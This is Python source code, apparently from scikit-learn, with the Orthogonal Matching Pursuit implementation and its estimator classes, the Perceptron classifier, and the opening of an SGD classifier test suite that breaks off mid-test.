def orthogonal_mp(X, y, n_nonzero_coefs=None, tol=None, precompute=False,
                  copy_X=True, return_path=False,
                  return_n_iter=False):
    """Orthogonal Matching Pursuit (OMP)

    Solves n_targets Orthogonal Matching Pursuit problems.
    An instance of the problem has the form:

    When parametrized by the number of non-zero coefficients using
    `n_nonzero_coefs`:
    argmin ||y - X\gamma||^2 subject to ||\gamma||_0 <= n_{nonzero coefs}

    When parametrized by error using the parameter `tol`:
    argmin ||\gamma||_0 subject to ||y - X\gamma||^2 <= tol

    Read more in the :ref:`User Guide <omp>`.

    Parameters
    ----------
    X : array, shape (n_samples, n_features)
        Input data. Columns are assumed to have unit norm.

    y : array, shape (n_samples,) or (n_samples, n_targets)
        Input targets

    n_nonzero_coefs : int
        Desired number of non-zero entries in the solution. If None (by
        default) this value is set to 10% of n_features.

    tol : float
        Maximum norm of the residual. If not None, overrides n_nonzero_coefs.

    precompute : {True, False, 'auto'},
        Whether to perform precomputations. Improves performance when n_targets
        or n_samples is very large.

    copy_X : bool, optional
        Whether the design matrix X must be copied by the algorithm. A false
        value is only helpful if X is already Fortran-ordered, otherwise a
        copy is made anyway.

    return_path : bool, optional. Default: False
        Whether to return every value of the nonzero coefficients along the
        forward path. Useful for cross-validation.

    return_n_iter : bool, optional default False
        Whether or not to return the number of iterations.

    Returns
    -------
    coef : array, shape (n_features,) or (n_features, n_targets)
        Coefficients of the OMP solution. If `return_path=True`, this contains
        the whole coefficient path. In this case its shape is
        (n_features, n_features) or (n_features, n_targets, n_features) and
        iterating over the last axis yields coefficients in increasing order
        of active features.

    n_iters : array-like or int
        Number of active features across every target. Returned only if
        `return_n_iter` is set to True.

    See also
    --------
    OrthogonalMatchingPursuit
    orthogonal_mp_gram
    lars_path
    decomposition.sparse_encode

    Notes
    -----
    Orthogonal matching pursuit was introduced in G. Mallat, Z. Zhang,
    Matching pursuits with time-frequency dictionaries, IEEE Transactions on
    Signal Processing, Vol. 41, No. 12. (December 1993), pp. 3397-3415.
    (http://blanche.polytechnique.fr/~mallat/papiers/MallatPursuit93.pdf)

    This implementation is based on Rubinstein, R., Zibulevsky, M. and Elad,
    M., Efficient Implementation of the K-SVD Algorithm using Batch Orthogonal
    Matching Pursuit Technical Report - CS Technion, April 2008.
    http://www.cs.technion.ac.il/~ronrubin/Publications/KSVD-OMP-v2.pdf

    """
    X = check_array(X, order='F', copy=copy_X)
    copy_X = False
    if y.ndim == 1:
        y = y.reshape(-1, 1)
    y = check_array(y)
    if y.shape[1] > 1:  # subsequent targets will be affected
        copy_X = True
    if n_nonzero_coefs is None and tol is None:
        # default for n_nonzero_coefs is 0.1 * n_features
        # but at least one.
        n_nonzero_coefs = max(int(0.1 * X.shape[1]), 1)
    if tol is not None and tol < 0:
        raise ValueError("Epsilon cannot be negative")
    if tol is None and n_nonzero_coefs <= 0:
        raise ValueError("The number of atoms must be positive")
    if tol is None and n_nonzero_coefs > X.shape[1]:
        raise ValueError("The number of atoms cannot be more than the number "
                         "of features")
    if precompute == 'auto':
        precompute = X.shape[0] > X.shape[1]
    if precompute:
        G = np.dot(X.T, X)
        G = np.asfortranarray(G)
        Xy = np.dot(X.T, y)
        if tol is not None:
            norms_squared = np.sum((y ** 2), axis=0)
        else:
            norms_squared = None
        return orthogonal_mp_gram(G, Xy, n_nonzero_coefs, tol, norms_squared,
                                  copy_Gram=copy_X, copy_Xy=False,
                                  return_path=return_path)

    if return_path:
        coef = np.zeros((X.shape[1], y.shape[1], X.shape[1]))
    else:
        coef = np.zeros((X.shape[1], y.shape[1]))
    n_iters = []

    for k in range(y.shape[1]):
        out = _cholesky_omp(
            X, y[:, k], n_nonzero_coefs, tol,
            copy_X=copy_X, return_path=return_path)
        if return_path:
            _, idx, coefs, n_iter = out
            coef = coef[:, :, :len(idx)]
            for n_active, x in enumerate(coefs.T):
                coef[idx[:n_active + 1], k, n_active] = x[:n_active + 1]
        else:
            x, idx, n_iter = out
            coef[idx, k] = x
        n_iters.append(n_iter)

    if y.shape[1] == 1:
        n_iters = n_iters[0]

    if return_n_iter:
        return np.squeeze(coef), n_iters
    else:
        return np.squeeze(coef)


def orthogonal_mp_gram(Gram, Xy, n_nonzero_coefs=None, tol=None,
                       norms_squared=None, copy_Gram=True,
                       copy_Xy=True, return_path=False,
                       return_n_iter=False):
    """Gram Orthogonal Matching Pursuit (OMP)

    Solves n_targets Orthogonal Matching Pursuit problems using only
    the Gram matrix X.T * X and the product X.T * y.

    Read more in the :ref:`User Guide <omp>`.

    Parameters
    ----------
    Gram : array, shape (n_features, n_features)
        Gram matrix of the input data: X.T * X

    Xy : array, shape (n_features,) or (n_features, n_targets)
        Input targets multiplied by X: X.T * y

    n_nonzero_coefs : int
        Desired number of non-zero entries in the solution. If None (by
        default) this value is set to 10% of n_features.

    tol : float
        Maximum norm of the residual. If not None, overrides n_nonzero_coefs.

    norms_squared : array-like, shape (n_targets,)
        Squared L2 norms of the lines of y. Required if tol is not None.

    copy_Gram : bool, optional
        Whether the gram matrix must be copied by the algorithm. A false
        value is only helpful if it is already Fortran-ordered, otherwise a
        copy is made anyway.

    copy_Xy : bool, optional
        Whether the covariance vector Xy must be copied by the algorithm.
        If False, it may be overwritten.

    return_path : bool, optional. Default: False
        Whether to return every value of the nonzero coefficients along the
        forward path. Useful for cross-validation.

    return_n_iter : bool, optional default False
        Whether or not to return the number of iterations.

    Returns
    -------
    coef : array, shape (n_features,) or (n_features, n_targets)
        Coefficients of the OMP solution. If `return_path=True`, this contains
        the whole coefficient path. In this case its shape is
        (n_features, n_features) or (n_features, n_targets, n_features) and
        iterating over the last axis yields coefficients in increasing order
        of active features.

    n_iters : array-like or int
        Number of active features across every target. Returned only if
        `return_n_iter` is set to True.

    See also
    --------
    OrthogonalMatchingPursuit
    orthogonal_mp
    lars_path
    decomposition.sparse_encode

    Notes
    -----
    Orthogonal matching pursuit was introduced in G. Mallat, Z. Zhang,
    Matching pursuits with time-frequency dictionaries, IEEE Transactions on
    Signal Processing, Vol. 41, No. 12. (December 1993), pp. 3397-3415.
    (http://blanche.polytechnique.fr/~mallat/papiers/MallatPursuit93.pdf)

    This implementation is based on Rubinstein, R., Zibulevsky, M. and Elad,
    M., Efficient Implementation of the K-SVD Algorithm using Batch Orthogonal
    Matching Pursuit Technical Report - CS Technion, April 2008.
    http://www.cs.technion.ac.il/~ronrubin/Publications/KSVD-OMP-v2.pdf

    """
    Gram = check_array(Gram, order='F', copy=copy_Gram)
    Xy = np.asarray(Xy)
    if Xy.ndim > 1 and Xy.shape[1] > 1:
        # or subsequent target will be affected
        copy_Gram = True
    if Xy.ndim == 1:
        Xy = Xy[:, np.newaxis]
        if tol is not None:
            norms_squared = [norms_squared]

    if n_nonzero_coefs is None and tol is None:
        n_nonzero_coefs = int(0.1 * len(Gram))
    if tol is not None and norms_squared is None:
        raise ValueError('Gram OMP needs the precomputed norms in order '
                         'to evaluate the error sum of squares.')
    if tol is not None and tol < 0:
        raise ValueError("Epsilon cannot be negative")
    if tol is None and n_nonzero_coefs <= 0:
        raise ValueError("The number of atoms must be positive")
    if tol is None and n_nonzero_coefs > len(Gram):
        raise ValueError("The number of atoms cannot be more than the number "
                         "of features")

    if return_path:
        coef = np.zeros((len(Gram), Xy.shape[1], len(Gram)))
    else:
        coef = np.zeros((len(Gram), Xy.shape[1]))

    n_iters = []
    for k in range(Xy.shape[1]):
        out = _gram_omp(
            Gram, Xy[:, k], n_nonzero_coefs,
            norms_squared[k] if tol is not None else None, tol,
            copy_Gram=copy_Gram, copy_Xy=copy_Xy,
            return_path=return_path)
        if return_path:
            _, idx, coefs, n_iter = out
            coef = coef[:, :, :len(idx)]
            for n_active, x in enumerate(coefs.T):
                coef[idx[:n_active + 1], k, n_active] = x[:n_active + 1]
        else:
            x, idx, n_iter = out
            coef[idx, k] = x
        n_iters.append(n_iter)

    if Xy.shape[1] == 1:
        n_iters = n_iters[0]

    if return_n_iter:
        return np.squeeze(coef), n_iters
    else:
        return np.squeeze(coef)


class OrthogonalMatchingPursuit(LinearModel, RegressorMixin):
    """Orthogonal Matching Pursuit model (OMP)

    Parameters
    ----------
    n_nonzero_coefs : int, optional
        Desired number of non-zero entries in the solution. If None (by
        default) this value is set to 10% of n_features.

    tol : float, optional
        Maximum norm of the residual. If not None, overrides n_nonzero_coefs.

    fit_intercept : boolean, optional
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to `False`.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    precompute : {True, False, 'auto'}, default 'auto'
        Whether to use a precomputed Gram and Xy matrix to speed up
        calculations. Improves performance when `n_targets` or `n_samples` is
        very large. Note that if you already have such matrices, you can pass
        them directly to the fit method.

    Read more in the :ref:`User Guide <omp>`.

    Attributes
    ----------
    coef_ : array, shape (n_features,) or (n_features, n_targets)
        parameter vector (w in the formula)

    intercept_ : float or array, shape (n_targets,)
        independent term in decision function.

    n_iter_ : int or array-like
        Number of active features across every target.

    Notes
    -----
    Orthogonal matching pursuit was introduced in G. Mallat, Z. Zhang,
    Matching pursuits with time-frequency dictionaries, IEEE Transactions on
    Signal Processing, Vol. 41, No. 12. (December 1993), pp. 3397-3415.
    (http://blanche.polytechnique.fr/~mallat/papiers/MallatPursuit93.pdf)

    This implementation is based on Rubinstein, R., Zibulevsky, M. and Elad,
    M., Efficient Implementation of the K-SVD Algorithm using Batch Orthogonal
    Matching Pursuit Technical Report - CS Technion, April 2008.
    http://www.cs.technion.ac.il/~ronrubin/Publications/KSVD-OMP-v2.pdf

    See also
    --------
    orthogonal_mp
    orthogonal_mp_gram
    lars_path
    Lars
    LassoLars
    decomposition.sparse_encode

    """
    def __init__(self, n_nonzero_coefs=None, tol=None, fit_intercept=True,
                 normalize=True, precompute='auto'):
        self.n_nonzero_coefs = n_nonzero_coefs
        self.tol = tol
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.precompute = precompute

    def fit(self, X, y):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,) or (n_samples, n_targets)
            Target values.


        Returns
        -------
        self : object
            returns an instance of self.
        """
        X, y = check_X_y(X, y, multi_output=True, y_numeric=True)
        n_features = X.shape[1]

        X, y, X_offset, y_offset, X_scale, Gram, Xy = \
            _pre_fit(X, y, None, self.precompute, self.normalize,
                     self.fit_intercept, copy=True)

        if y.ndim == 1:
            y = y[:, np.newaxis]

        if self.n_nonzero_coefs is None and self.tol is None:
            # default for n_nonzero_coefs is 0.1 * n_features
            # but at least one.
            self.n_nonzero_coefs_ = max(int(0.1 * n_features), 1)
        else:
            self.n_nonzero_coefs_ = self.n_nonzero_coefs

        if Gram is False:
            coef_, self.n_iter_ = orthogonal_mp(
                X, y, self.n_nonzero_coefs_, self.tol,
                precompute=False, copy_X=True,
                return_n_iter=True)
        else:
            norms_sq = np.sum(y ** 2, axis=0) if self.tol is not None else None

            coef_, self.n_iter_ = orthogonal_mp_gram(
                Gram, Xy=Xy, n_nonzero_coefs=self.n_nonzero_coefs_,
                tol=self.tol, norms_squared=norms_sq,
                copy_Gram=True, copy_Xy=True,
                return_n_iter=True)
        self.coef_ = coef_.T
        self._set_intercept(X_offset, y_offset, X_scale)
        return self


def _omp_path_residues(X_train, y_train, X_test, y_test, copy=True,
                       fit_intercept=True, normalize=True, max_iter=100):
    """Compute the residues on left-out data for a full LARS path

    Parameters
    -----------
    X_train : array, shape (n_samples, n_features)
        The data to fit the LARS on

    y_train : array, shape (n_samples)
        The target variable to fit LARS on

    X_test : array, shape (n_samples, n_features)
        The data to compute the residues on

    y_test : array, shape (n_samples)
        The target variable to compute the residues on

    copy : boolean, optional
        Whether X_train, X_test, y_train and y_test should be copied.  If
        False, they may be overwritten.

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to `False`.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    max_iter : integer, optional
        Maximum numbers of iterations to perform, therefore maximum features
        to include. 100 by default.

    Returns
    -------
    residues: array, shape (n_samples, max_features)
        Residues of the prediction on the test data
    """

    if copy:
        X_train = X_train.copy()
        y_train = y_train.copy()
        X_test = X_test.copy()
        y_test = y_test.copy()

    if fit_intercept:
        X_mean = X_train.mean(axis=0)
        X_train -= X_mean
        X_test -= X_mean
        y_mean = y_train.mean(axis=0)
        y_train = as_float_array(y_train, copy=False)
        y_train -= y_mean
        y_test = as_float_array(y_test, copy=False)
        y_test -= y_mean

    if normalize:
        norms = np.sqrt(np.sum(X_train ** 2, axis=0))
        nonzeros = np.flatnonzero(norms)
        X_train[:, nonzeros] /= norms[nonzeros]

    coefs = orthogonal_mp(X_train, y_train, n_nonzero_coefs=max_iter, tol=None,
                          precompute=False, copy_X=False,
                          return_path=True)
    if coefs.ndim == 1:
        coefs = coefs[:, np.newaxis]
    if normalize:
        coefs[nonzeros] /= norms[nonzeros][:, np.newaxis]

    return np.dot(coefs.T, X_test.T) - y_test


class OrthogonalMatchingPursuitCV(LinearModel, RegressorMixin):
    """Cross-validated Orthogonal Matching Pursuit model (OMP)

    Parameters
    ----------
    copy : bool, optional
        Whether the design matrix X must be copied by the algorithm. A false
        value is only helpful if X is already Fortran-ordered, otherwise a
        copy is made anyway.

    fit_intercept : boolean, optional
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to `False`.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    max_iter : integer, optional
        Maximum numbers of iterations to perform, therefore maximum features
        to include. 10% of ``n_features`` but at least 5 if available.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs

    verbose : boolean or integer, optional
        Sets the verbosity amount

    Read more in the :ref:`User Guide <omp>`.

    Attributes
    ----------
    intercept_ : float or array, shape (n_targets,)
        Independent term in decision function.

    coef_ : array, shape (n_features,) or (n_features, n_targets)
        Parameter vector (w in the problem formulation).

    n_nonzero_coefs_ : int
        Estimated number of non-zero coefficients giving the best mean squared
        error over the cross-validation folds.

    n_iter_ : int or array-like
        Number of active features across every target for the model refit with
        the best hyperparameters got by cross-validating across all folds.

    See also
    --------
    orthogonal_mp
    orthogonal_mp_gram
    lars_path
    Lars
    LassoLars
    OrthogonalMatchingPursuit
    LarsCV
    LassoLarsCV
    decomposition.sparse_encode

    """
    def __init__(self, copy=True, fit_intercept=True, normalize=True,
                 max_iter=None, cv=None, n_jobs=1, verbose=False):
        self.copy = copy
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.max_iter = max_iter
        self.cv = cv
        self.n_jobs = n_jobs
        self.verbose = verbose

    def fit(self, X, y):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            Training data.

        y : array-like, shape [n_samples]
            Target values.

        Returns
        -------
        self : object
            returns an instance of self.
        """
        X, y = check_X_y(X, y, y_numeric=True, ensure_min_features=2,
                         estimator=self)
        X = as_float_array(X, copy=False, force_all_finite=False)
        cv = check_cv(self.cv, classifier=False)
        max_iter = (min(max(int(0.1 * X.shape[1]), 5), X.shape[1])
                    if not self.max_iter
                    else self.max_iter)
        cv_paths = Parallel(n_jobs=self.n_jobs, verbose=self.verbose)(
            delayed(_omp_path_residues)(
                X[train], y[train], X[test], y[test], self.copy,
                self.fit_intercept, self.normalize, max_iter)
            for train, test in cv.split(X))

        min_early_stop = min(fold.shape[0] for fold in cv_paths)
        mse_folds = np.array([(fold[:min_early_stop] ** 2).mean(axis=1)
                              for fold in cv_paths])
        best_n_nonzero_coefs = np.argmin(mse_folds.mean(axis=0)) + 1
        self.n_nonzero_coefs_ = best_n_nonzero_coefs
        omp = OrthogonalMatchingPursuit(n_nonzero_coefs=best_n_nonzero_coefs,
                                        fit_intercept=self.fit_intercept,
                                        normalize=self.normalize)
        omp.fit(X, y)
        self.coef_ = omp.coef_
        self.intercept_ = omp.intercept_
        self.n_iter_ = omp.n_iter_
        return self






# Author: Mathieu Blondel
# License: BSD 3 clause

from .stochastic_gradient import BaseSGDClassifier
from ..feature_selection.from_model import _LearntSelectorMixin


class Perceptron(BaseSGDClassifier, _LearntSelectorMixin):
    """Perceptron

    Read more in the :ref:`User Guide <perceptron>`.

    Parameters
    ----------

    penalty : None, 'l2' or 'l1' or 'elasticnet'
        The penalty (aka regularization term) to be used. Defaults to None.

    alpha : float
        Constant that multiplies the regularization term if regularization is
        used. Defaults to 0.0001

    fit_intercept : bool
        Whether the intercept should be estimated or not. If False, the
        data is assumed to be already centered. Defaults to True.

    n_iter : int, optional
        The number of passes over the training data (aka epochs).
        Defaults to 5.

    shuffle : bool, optional, default True
        Whether or not the training data should be shuffled after each epoch.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    verbose : integer, optional
        The verbosity level

    n_jobs : integer, optional
        The number of CPUs to use to do the OVA (One Versus All, for
        multi-class problems) computation. -1 means 'all CPUs'. Defaults
        to 1.

    eta0 : double
        Constant by which the updates are multiplied. Defaults to 1.

    class_weight : dict, {class_label: weight} or "balanced" or None, optional
        Preset for the class_weight fit parameter.

        Weights associated with classes. If not given, all classes
        are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    warm_start : bool, optional
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    Attributes
    ----------
    coef_ : array, shape = [1, n_features] if n_classes == 2 else [n_classes,\
            n_features]
        Weights assigned to the features.

    intercept_ : array, shape = [1] if n_classes == 2 else [n_classes]
        Constants in decision function.

    Notes
    -----

    `Perceptron` and `SGDClassifier` share the same underlying implementation.
    In fact, `Perceptron()` is equivalent to `SGDClassifier(loss="perceptron",
    eta0=1, learning_rate="constant", penalty=None)`.

    See also
    --------

    SGDClassifier

    References
    ----------

    https://en.wikipedia.org/wiki/Perceptron and references therein.
    """
    def __init__(self, penalty=None, alpha=0.0001, fit_intercept=True,
                 n_iter=5, shuffle=True, verbose=0, eta0=1.0, n_jobs=1,
                 random_state=0, class_weight=None, warm_start=False):
        super(Perceptron, self).__init__(loss="perceptron",
                                         penalty=penalty,
                                         alpha=alpha, l1_ratio=0,
                                         fit_intercept=fit_intercept,
                                         n_iter=n_iter,
                                         shuffle=shuffle,
                                         verbose=verbose,
                                         random_state=random_state,
                                         learning_rate="constant",
                                         eta0=eta0,
                                         power_t=0.5,
                                         warm_start=warm_start,
                                         class_weight=class_weight,
                                         n_jobs=n_jobs)






import pickle
import unittest

import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import raises
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_false, assert_true
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import ignore_warnings

from sklearn import linear_model, datasets, metrics
from sklearn.base import clone
from sklearn.linear_model import SGDClassifier, SGDRegressor
from sklearn.preprocessing import LabelEncoder, scale, MinMaxScaler

from sklearn.linear_model import sgd_fast


class SparseSGDClassifier(SGDClassifier):

    def fit(self, X, y, *args, **kw):
        X = sp.csr_matrix(X)
        return super(SparseSGDClassifier, self).fit(X, y, *args, **kw)

    def partial_fit(self, X, y, *args, **kw):
        X = sp.csr_matrix(X)
        return super(SparseSGDClassifier, self).partial_fit(X, y, *args, **kw)

    def decision_function(self, X):
        X = sp.csr_matrix(X)
        return super(SparseSGDClassifier, self).decision_function(X)

    def predict_proba(self, X):
        X = sp.csr_matrix(X)
        return super(SparseSGDClassifier, self).predict_proba(X)


class SparseSGDRegressor(SGDRegressor):

    def fit(self, X, y, *args, **kw):
        X = sp.csr_matrix(X)
        return SGDRegressor.fit(self, X, y, *args, **kw)

    def partial_fit(self, X, y, *args, **kw):
        X = sp.csr_matrix(X)
        return SGDRegressor.partial_fit(self, X, y, *args, **kw)

    def decision_function(self, X, *args, **kw):
        X = sp.csr_matrix(X)
        return SGDRegressor.decision_function(self, X, *args, **kw)


# Test Data

# test sample 1
X = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]])
Y = [1, 1, 1, 2, 2, 2]
T = np.array([[-1, -1], [2, 2], [3, 2]])
true_result = [1, 2, 2]

# test sample 2; string class labels
X2 = np.array([[-1, 1], [-0.75, 0.5], [-1.5, 1.5],
               [1, 1], [0.75, 0.5], [1.5, 1.5],
               [-1, -1], [0, -0.5], [1, -1]])
Y2 = ["one"] * 3 + ["two"] * 3 + ["three"] * 3
T2 = np.array([[-1.5, 0.5], [1, 2], [0, -2]])
true_result2 = ["one", "two", "three"]

# test sample 3
X3 = np.array([[1, 1, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0],
               [0, 0, 1, 0, 0, 0], [0, 0, 1, 0, 0, 0],
               [0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 1, 1],
               [0, 0, 0, 1, 0, 0], [0, 0, 0, 1, 0, 0]])
Y3 = np.array([1, 1, 1, 1, 2, 2, 2, 2])

# test sample 4 - two more or less redundant feature groups
X4 = np.array([[1, 0.9, 0.8, 0, 0, 0], [1, .84, .98, 0, 0, 0],
               [1, .96, .88, 0, 0, 0], [1, .91, .99, 0, 0, 0],
               [0, 0, 0, .89, .91, 1], [0, 0, 0, .79, .84, 1],
               [0, 0, 0, .91, .95, 1], [0, 0, 0, .93, 1, 1]])
Y4 = np.array([1, 1, 1, 1, 2, 2, 2, 2])

iris = datasets.load_iris()

# test sample 5 - test sample 1 as binary classification problem
X5 = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]])
Y5 = [1, 1, 1, 2, 2, 2]
true_result5 = [0, 1, 1]


# Classification Test Case

class CommonTest(object):

    def factory(self, **kwargs):
        if "random_state" not in kwargs:
            kwargs["random_state"] = 42
        return self.factory_class(**kwargs)

    # a simple implementation of ASGD to use for testing
    # uses squared loss to find the gradient
    def asgd(self, X, y, eta, alpha, weight_init=None, intercept_init=0.0):
        if weight_init is None:
            weights = np.zeros(X.shape[1])
        else:
            weights = weight_init

        average_weights = np.zeros(X.shape[1])
        intercept = intercept_init
        average_intercept = 0.0
        decay = 1.0

        # sparse data has a fixed decay of .01
        if (isinstance(self, SparseSGDClassifierTestCase) or
                isinstance(self, SparseSGDRegressorTestCase)):
            decay = .01

        for i, entry in enumerate(X):
            p = np.dot(entry, weights)
            p += intercept
            gradient = p - y[i]
            weights *= 1.0 - (eta * alpha)
            weights += -(eta * gradient * entry)
            intercept += -(eta * gradient) * decay

            average_weights *= i
            average_weights += weights
            average_weights /= i + 1.0

            average_intercept *= i
            average_intercept += intercept
            average_intercept /= i + 1.0

        return average_weights, average_intercept

    def _test_warm_start(self, X, Y, lr):
        # Test that explicit warm restart...
        clf = self.factory(alpha=0.01, eta0=0.01, n_iter=5, shuffle=False,
                           learning_rate=lr)
        clf.fit(X, Y)

        clf2 = self.factory(alpha=0.001, eta0=0.01, n_iter=5, shuffle=False,
                            learning_rate=lr)
        clf2.fit(X, Y,
                 coef_init=clf.coef_.copy(),
                 intercept_init=clf.intercept_.copy())

        # ... and implicit warm restart are equivalent.
        clf3 = self.factory(alpha=0.01, eta0=0.01, n_iter=5, shuffle=False,
                            warm_start=True, learning_rate=lr)
        clf3.fit(X, Y)

        assert_equal(clf3.t_, clf.t_)
        assert_array_almost_equal(clf3.coef_, clf.coef_)

        clf3.set_params(alpha=0.001)
        clf3.fit(X, Y)

        assert_equal(clf3.t_, clf2.t_)
        assert_array_almost_equal(clf3.coef_, clf2.coef_)

    def test_warm_start_constant(self):
        self._test_warm_start(X, Y, "constant")

    def test_warm_start_invscaling(self):
        self._test_warm_start(X, Y, "invscaling")

    def test_warm_start_optimal(self):
        self._test_warm_start(X, Y, "optimal")

    def test_input_format(self):
        # Input format tests.
        clf = self.factory(alpha=0.01, n_iter=5,
                           shuffle=False)
        clf.fit(X, Y)
        Y_ = np.array(Y)[:, np.newaxis]

        Y_ = np.c_[Y_, Y_]
        assert_raises(ValueError, clf.fit, X, Y_)

    def test_clone(self):
        # Test whether clone works ok.
        clf = self.factory(alpha=0.01, n_iter=5, penalty='l1')
        clf = clone(clf)
        clf.set_params(penalty='l2')
        clf.fit(X, Y)

        clf2 = self.factory(alpha=0.01, n_iter=5, penalty='l2')
        clf2.fit(X, Y)

        assert_array_equal(clf.coef_, clf2.coef_)

    def test_plain_has_no_average_attr(self):
        clf = self.factory(average=True, eta0=.01)
        clf.fit(X, Y)

        assert_true(hasattr(clf, 'average_coef_'))
        assert_true(hasattr(clf, 'average_intercept_'))
        assert_true(hasattr(clf, 'standard_intercept_'))
        assert_true(hasattr(clf, 'standard_coef_'))

        clf = self.factory()
        clf.fit(X, Y)

        assert_false(hasattr(clf, 'average_coef_'))
        assert_false(hasattr(clf, 'average_intercept_'))
        assert_false(hasattr(clf, 'standard_intercept_'))
        assert_false(hasattr(clf, 'standard_coef_'))

    def test_late_onset_averaging_not_reached(self):
        clf1 = self.factory(average=600)
        clf2 = self.factory()
        for _ in range(100):
            if isinstance(clf1, SGDClassifier):
                clf1.partial_fit(X, Y, classes=np.unique(Y))
                clf2.partial_fit(X, Y, classes=np.unique(Y))
            else:
                clf1.partial_fit(X, Y)
                clf2.partial_fit(X, Y)

        assert_array_almost_equal(clf1.coef_, clf2.coef_, decimal=16)
        assert_almost_equal(clf1.intercept_, clf2.intercept_, decimal=16)

    def test_late_onset_averaging_reached(self):
        eta0 = .001
        alpha = .0001
        Y_encode = np.array(Y)
        Y_encode[Y_encode == 1] = -1.0
        Y_encode[Y_encode == 2] = 1.0

        clf1 = self.factory(average=7, learning_rate="constant",
                            loss='squared_loss', eta0=eta0,
                            alpha=alpha, n_iter=2, shuffle=False)
        clf2 = self.factory(average=0, learning_rate="constant",
                            loss='squared_loss', eta0=eta0,
                            alpha=alpha, n_iter=1, shuffle=False)

        clf1.fit(X, Y_encode)
        clf2.fit(X, Y_encode)

        average_weights, average_intercept = \
            self.asgd(X, Y_encode, eta0, alpha,
                      weight_init=clf2.coef_.ravel(),
                      intercept_init=clf2.intercept_)

        assert_array_almost_equal(clf1.coef_.ravel(),
                                  average_weights.ravel(),
                                  decimal=16)
        assert_almost_equal(clf1.intercept_, average_intercept, decimal=16)

    @raises(ValueError)
    def test_sgd_bad_alpha_for_optimal_learning_rate(self):
        # Check whether expected ValueError on bad alpha, i.e. 0
        # since alpha is used to compute the optimal learning rate
        self.factory(alpha=0, learning_rate="optimal")


class DenseSGDClassifierTestCase(unittest.TestCase, CommonTest):
    """Test suite for the dense representation variant of SGD"""
    factory_class = SGDClassifier

    def test_sgd(self):
        # Check that SGD gives any results :-)

        for loss in ("hinge", "squared_hinge", "log", "modified_huber"):
            clf = self.factory(penalty='l2', alpha=0.01, fit_intercept=True,
                               loss=loss, n_iter=10, shuffle=True)
            clf.fit(X, Y)
            # assert_almost_equal(clf.coef_[0], clf.coef_[1], decimal=7)
            assert_array_equal(clf.predict(T), true_result)

    @raises(ValueError)
    def test_sgd_bad_l1_ratio(self):
        # Check whether expected ValueError on bad l1_ratio
        self.factory(l1_ratio=1.1)

    @raises(ValueError)
    def test_sgd_bad_learning_rate_schedule(self):
        # Check whether expected ValueError on bad learning_rate
        self.factory(learning_rate="<unknown>")

    @raises(ValueError)
    def test_sgd_bad_eta0(self):
        # Check whether expected ValueError on bad eta0
        self.factory(eta0=0, learning_rate="constant")

    @raises(ValueError)
    def test_sgd_bad_alpha(self):
        # Check whether expected ValueError on bad alpha
        self.factory(alpha=-.1)

    @raises(ValueError)
    def test_sgd_bad_penalty(self):
        # Check whether expected ValueError on bad penalty
        self.factory(penalty='foobar', l1_ratio=0.85)

    @raises(ValueError)
    def test_sgd_bad_loss(self):
        # Check whether expected ValueError on bad loss
        self.factory(loss="foobar")

    @raises(ValueError)
    def test_sgd_n_iter_param(self):
        # Test parameter validity check
        self.factory(n_iter=-10000)

    @raises(ValueError)
    def test_sgd_shuffle_param(self):
        # Test parameter validity check
        self.factory(shuffle="false")

    @raises(TypeError)
    def test_argument_coef(self):
        # Checks coef_init not allowed as model argument (only fit)
        # Provided coef_ does not match dataset.
        self.factory(coef_init=np.zeros((3,))).fit(X, Y)

    @raises(ValueError)
    def test_provide_coef(self):
        # Checks coef_init shape for the warm starts
